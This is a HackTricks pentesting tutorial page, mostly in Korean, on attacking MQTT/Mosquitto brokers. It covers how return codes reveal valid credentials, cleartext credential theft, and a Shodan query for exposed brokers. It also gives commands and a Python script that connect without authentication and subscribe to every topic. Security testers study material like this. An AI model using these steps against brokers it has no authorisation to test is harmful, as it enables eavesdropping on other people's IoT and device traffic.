hacktricks/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md

168 lines
9.4 KiB
Markdown
Raw Normal View History

# 1883 - Pentesting MQTT (Mosquitto)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
***
## Basic Information
**MQ Telemetry Transport (MQTT)**는 극도의 단순성과 경량성으로 두드러지는 **발행/구독 메시징 프로토콜**로 알려져 있습니다. 이 프로토콜은 장치의 기능이 제한적이고 낮은 대역폭, 높은 지연 시간 또는 불안정한 연결이 특징인 네트워크에서 작동하는 환경에 맞춰 특별히 설계되었습니다. MQTT의 핵심 목표는 네트워크 대역폭 사용을 최소화하고 장치 리소스에 대한 수요를 줄이는 것입니다. 또한 신뢰할 수 있는 통신을 유지하고 일정 수준의 전달 보장을 제공하는 것을 목표로 합니다. 이러한 목표는 MQTT를 **기계 간 통신 (M2M)** 및 **사물인터넷 (IoT)**의 급성장하는 분야에 특히 적합하게 만듭니다. 이 분야에서는 수많은 장치를 효율적으로 연결하는 것이 필수적입니다. 또한, MQTT는 대역폭과 배터리 수명을 절약하는 것이 중요한 모바일 애플리케이션에도 매우 유용합니다.
2024-02-10 21:30:13 +00:00
**기본 포트:** 1883
```
2020-09-24 18:58:31 +00:00
PORT STATE SERVICE REASON
1883/tcp open mosquitto version 1.4.8 syn-ack
```
2024-02-10 21:30:13 +00:00
## 트래픽 검사
2020-09-24 18:58:31 +00:00
MQTT 브로커가 **CONNECT** 패킷을 수신하면 **CONNACK** 패킷이 다시 전송됩니다. 이 패킷에는 연결 상태를 이해하는 데 중요한 반환 코드가 포함되어 있습니다. 반환 코드 **0x00**은 자격 증명이 수락되었음을 의미하며, 성공적인 연결을 나타냅니다. 반면, 반환 코드 **0x05**는 자격 증명이 유효하지 않음을 나타내어 연결을 방지합니다.
2024-02-08 21:36:35 +00:00
예를 들어, 브로커가 유효하지 않은 자격 증명으로 인해 연결을 거부하는 경우, 시나리오는 다음과 같이 보일 것입니다:
2024-02-08 21:36:35 +00:00
```
{
2024-02-10 21:30:13 +00:00
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
2024-02-08 21:36:35 +00:00
}
```
![](<../.gitbook/assets/image (976).png>)
2022-02-19 19:42:58 +00:00
### [**Brute-Force MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt)
## Pentesting MQTT
**인증은 완전히 선택 사항입니다** 그리고 인증이 수행되고 있더라도, **기본적으로 암호화가 사용되지 않습니다** (자격 증명이 평문으로 전송됩니다). MITM 공격을 통해 여전히 비밀번호를 훔칠 수 있습니다.
MQTT 서비스에 연결하려면: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell)을 사용하고 다음을 수행하여 모든 주제에 구독할 수 있습니다:
```
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"
```
당신은 또한 사용할 수 있습니다:
2022-02-19 19:42:58 +00:00
```bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
2022-02-19 19:42:58 +00:00
```
또는 **이 코드를 실행하여 인증 없이 MQTT 서비스에 연결하고 모든 주제를 구독하여 수신할 수 있습니다**:
```python
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os
HOST = "127.0.0.1"
PORT = 1883
def on_connect(client, userdata, flags, rc):
2024-02-10 21:30:13 +00:00
client.subscribe('#', qos=1)
client.subscribe('$SYS/#')
def on_message(client, userdata, message):
2024-02-10 21:30:13 +00:00
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))
def main():
2024-02-10 21:30:13 +00:00
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()
if __name__ == "__main__":
2024-02-10 21:30:13 +00:00
main()
```
## More information
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
### The Publish/Subscribe Pattern <a href="#b667" id="b667"></a>
The publish/subscribe model is composed of:
* **Publisher**: 브로커의 하나(또는 여러 개) 주제에 메시지를 게시합니다.
* **Subscriber**: 브로커의 하나(또는 여러 개) 주제를 구독하고, 퍼블리셔가 보낸 모든 메시지를 수신합니다.
* **Broker**: 퍼블리셔로부터 구독자에게 모든 메시지를 라우팅합니다.
* **Topic**: 슬래시로 구분된 하나 이상의 레벨로 구성됩니다 (예: /smartshouse/livingroom/temperature).
### Packet Format <a href="#f15a" id="f15a"></a>
Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header
2024-02-08 21:36:35 +00:00
![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
### Packet Types
* CONNECT (1): 클라이언트가 서버에 연결을 요청하기 위해 시작합니다.
* CONNACK (2): 서버의 성공적인 연결에 대한 확인입니다.
* PUBLISH (3): 클라이언트에서 서버로 또는 그 반대로 메시지를 보내는 데 사용됩니다.
* PUBACK (4): PUBLISH 패킷에 대한 확인입니다.
* PUBREC (5): 메시지가 수신되었음을 보장하는 메시지 전송 프로토콜의 일부입니다.
* PUBREL (6): 메시지 전송에 대한 추가 보장으로, 메시지 해제를 나타냅니다.
* PUBCOMP (7): 메시지 전송 프로토콜의 마지막 부분으로, 완료를 나타냅니다.
* SUBSCRIBE (8): 클라이언트가 주제로부터 메시지를 수신하기 위한 요청입니다.
* SUBACK (9): SUBSCRIBE 요청에 대한 서버의 확인입니다.
* UNSUBSCRIBE (10): 클라이언트가 주제로부터 메시지 수신을 중단하기 위한 요청입니다.
* UNSUBACK (11): UNSUBSCRIBE 요청에 대한 서버의 응답입니다.
* PINGREQ (12): 클라이언트가 보내는 하트비트 메시지입니다.
* PINGRESP (13): 하트비트 메시지에 대한 서버의 응답입니다.
* DISCONNECT (14): 클라이언트가 연결을 종료하기 위해 시작합니다.
* 두 값, 0과 15는 예약되어 있으며 사용이 금지됩니다.
2020-09-21 23:14:27 +00:00
2022-08-12 14:24:34 +00:00
## Shodan
2020-09-21 23:14:27 +00:00
* `port:1883 MQTT`
2022-04-28 16:01:33 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **compromised** 되었는지 확인하는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}